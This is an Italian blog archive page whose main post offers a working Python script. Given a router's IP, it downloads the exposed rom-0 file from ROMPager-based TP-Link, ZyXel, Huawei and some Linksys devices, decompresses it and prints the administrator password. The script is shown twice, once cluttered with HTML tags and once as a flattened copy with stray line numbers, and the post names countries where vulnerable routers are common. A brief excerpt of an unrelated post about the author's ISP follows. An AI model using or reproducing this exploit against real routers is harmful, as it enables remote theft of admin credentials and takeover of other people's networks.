January 2014 – Linux e hacking

Hacking dei router che utilizzano ROMPager completamente da remoto

September 3, 2015January 16, 2014 by Tiziano Bacocco

Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l’ip del router come parametro di tirare fuori la password instantaneamente

import os
import sys
from struct import <b>*</b>
import urllib2
 
###########################################################<b>###</b>
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011  Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
###########################################################<b>###</b>
 
import collections
 
<b>class</b> BitReader:
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and permits to extract
    bits one by one like a stream
    """
    <b>def</b> <b>__init__</b>(self, bytes):
        self._bits <b>=</b> collections.deque()
 
        <b>for</b> byte <b>in</b> bytes:
            byte <b>=</b> ord(byte)
            <b>for</b> n <b>in</b> xrange(8):
                self._bits.append(bool((byte <b>&gt;&gt;</b> (7<b>-</b>n)) <b>&amp;</b> 1))
 
    <b>def</b> getBit(self):
        <b>return</b> self._bits.popleft()
 
    <b>def</b> getBits(self, num):
        res <b>=</b> 0
        <b>for</b> i <b>in</b> xrange(num):
            res <b>+=</b> self.getBit() <b>&lt;&lt;</b> num<b>-</b>1<b>-</b>i
        <b>return</b> res
 
    <b>def</b> getByte(self):
        <b>return</b> self.getBits(8)
 
    <b>def</b> <b>__len__</b>(self):
        <b>return</b> len(self._bits)
 
<b>class</b> RingList:
    """
    When the list is full, for every item appended
    the older is removed
    """
    <b>def</b> <b>__init__</b>(self, length):
        self.__data__ <b>=</b> collections.deque()
        self.__full__ <b>=</b> False
        self.__max__ <b>=</b> length
 
    <b>def</b> append(self, x):
        <b>if</b> self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        <b>if</b> self.size() <b>==</b> self.__max__:
            self.__full__ <b>=</b> True
 
    <b>def</b> get(self):
        <b>return</b> self.__data__
 
    <b>def</b> size(self):
        <b>return</b> len(self.__data__)
 
    <b>def</b> maxsize(self):
        <b>return</b> self.__max__
 
    <b>def</b> <b>__getitem__</b>(self, n):
        <b>if</b> n <b>&gt;=</b> self.size():
            <b>return</b> None
        <b>return</b> self.__data__[n]
 
<b>def</b> LZSDecompress(data, window <b>=</b> RingList(2048)):
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and an optional
    pre-populated dictionary; return the decompressed
    string and the final dictionary
    """
    reader <b>=</b> BitReader(data)
    result <b>=</b> ''
 
    <b>while</b> True:
        bit <b>=</b> reader.getBit()
        <b>if</b> <b>not</b> bit:
            char <b>=</b> reader.getByte()
            result <b>+=</b> chr(char)
            window.append(char)
        <b>else</b>:
            bit <b>=</b> reader.getBit()
            <b>if</b> bit:
                offset <b>=</b> reader.getBits(7)
                <b>if</b> offset <b>==</b> 0:
                    # EOF
                    <b>break</b>
            <b>else</b>:
                offset <b>=</b> reader.getBits(11)
 
            lenField <b>=</b> reader.getBits(2)
            <b>if</b> lenField <b>&lt;</b> 3:
                lenght <b>=</b> lenField <b>+</b> 2
            <b>else</b>:
                lenField <b>&lt;&lt;=</b> 2
                lenField <b>+=</b> reader.getBits(2)
                <b>if</b> lenField <b>&lt;</b> 15:
                    lenght <b>=</b> (lenField <b>&amp;</b> 0x0f) <b>+</b> 5
                <b>else</b>:
                    lenCounter <b>=</b> 0
                    lenField <b>=</b> reader.getBits(4)
                    <b>while</b> lenField <b>==</b> 15:
                        lenField <b>=</b> reader.getBits(4)
                        lenCounter <b>+=</b> 1
                    lenght <b>=</b> 15<b>*</b>lenCounter <b>+</b> 8 <b>+</b> lenField
 
            <b>for</b> i <b>in</b> xrange(lenght):
                char <b>=</b> window[<b>-</b>offset]
                result <b>+=</b> chr(char)
                window.append(char)
 
    <b>return</b> result, window


<b>class</b> Object:
  <b>def</b> <b>__init__</b>(self,blockdata,data):
    self.name <b>=</b> data[:14].strip("x00")
    self.uncompsize <b>=</b> unpack("&gt;H",data[14:16])[0]
    self.compsize <b>=</b> unpack("&gt;H",data[16:18])[0]
    self.offset <b>=</b> unpack("&gt;H",data[18:20])[0]
    print "Object",self.name ,self.uncompsize,self.compsize,self.offset
    self.data <b>=</b> blockdata[self.offset:self.offset<b>+</b>self.compsize]
    #print [self.data]
    <b>if</b> self.name <b>==</b> "spt.dat":
      data2 <b>=</b> self.data
      self.data <b>=</b> ""
      index <b>=</b> 12
      <b>while</b> index <b>&lt;</b> self.uncompsize:
        orgsize <b>=</b> unpack("&gt;H",data2[index:index<b>+</b>2])[0]
        rawsize <b>=</b> unpack("&gt;H",data2[index<b>+</b>2:index<b>+</b>4])[0]
        #print orgsize,rawsize
        self.data <b>+=</b> LZSDecompress(data2[index<b>+</b>4:index<b>+</b>4<b>+</b>rawsize])[0]
        index <b>+=</b> rawsize
      print "Password:",self.data[20:].split("x00")[0]
<b>class</b> Block:
  <b>def</b> <b>__init__</b>(self,data):
    self.blocknumber <b>=</b> ord(data[0])
    self.unk1 <b>=</b> ord(data[1])
    self.objectcount <b>=</b> unpack("&gt;H",data[2:4])[0]
    self.blocklength <b>=</b> unpack("&gt;H",data[4:6])[0]
    print "Block:",self.blocknumber , self.objectcount , self.blocklength
    self.objects <b>=</b> []
    <b>for</b> i <b>in</b> range(0,self.objectcount):
      self.objects.append(Object(data,data[6<b>+</b>20<b>*</b>i:]))
blocks <b>=</b> []
f <b>=</b> urllib2.urlopen("http://%s/rom-0"<b>%</b>sys.argv[1])
# = open(sys.argv[1],"rb")
d <b>=</b> f.read()
mem <b>=</b> Block(d[0x0:])
a <b>=</b> Block(d[0x2000:])

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

import os

import sys

from struct import *

import urllib2

##############################################################

# Lempel-Ziv-Stac decompression

# BitReader and RingList classes

# filosottile.wiki gmail.com - www.pytux.it

# This program is free software: you can redistribute it and/or modify

# it under the terms of the GNU General Public License as published by

# the Free Software Foundation, either version 3 of the License, or

# (at your option) any later version.

# This program is distributed in the hope that it will be useful,

# but WITHOUT ANY WARRANTY; without even the implied warranty of

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License

# along with this program. If not, see <http://www.gnu.org/licenses/>.

##############################################################

import collections

class BitReader:

"""

Gets a string or a iterable of chars (also mmap)

representing bytes (ord) and permits to extract

bits one by one like a stream

"""

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7-n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num-1-i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

"""

When the list is full, for every item appended

the older is removed

"""

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def LZSDecompress(data, window = RingList(2048)):

"""

Gets a string or a iterable of chars (also mmap)

representing bytes (ord) and an optional

pre-populated dictionary; return the decompressed

string and the final dictionary

"""

reader = BitReader(data)

result = ''

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

# EOF

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[-offset]

result += chr(char)

window.append(char)

return result, window

class Object:

def __init__(self,blockdata,data):

self.name = data[:14].strip("x00")

self.uncompsize = unpack(">H",data[14:16])[0]

self.compsize = unpack(">H",data[16:18])[0]

self.offset = unpack(">H",data[18:20])[0]

print "Object",self.name ,self.uncompsize,self.compsize,self.offset

self.data = blockdata[self.offset:self.offset+self.compsize]

#print [self.data]

if self.name == "spt.dat":

data2 = self.data

self.data = ""

index = 12

while index < self.uncompsize:

orgsize = unpack(">H",data2[index:index+2])[0]

rawsize = unpack(">H",data2[index+2:index+4])[0]

#print orgsize,rawsize

self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0]

index += rawsize

print "Password:",self.data[20:].split("x00")[0]

class Block:

def __init__(self,data):

self.blocknumber = ord(data[0])

self.unk1 = ord(data[1])

self.objectcount = unpack(">H",data[2:4])[0]

self.blocklength = unpack(">H",data[4:6])[0]

print "Block:",self.blocknumber , self.objectcount , self.blocklength

self.objects = []

for i in range(0,self.objectcount):

self.objects.append(Object(data,data[6+20*i:]))

blocks = []

f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1])

# = open(sys.argv[1],"rb")

d = f.read()

mem = Block(d[0x0:])

a = Block(d[0x2000:])

Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, … Read more

La sicurezza dell’ISP WiMax che utilizzo

September 3, 2015January 2, 2014 by Tiziano Bacocco

Scrivo questo post, perché oggi è successo un evento che ha del ridicolo diciamo. Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere … Read more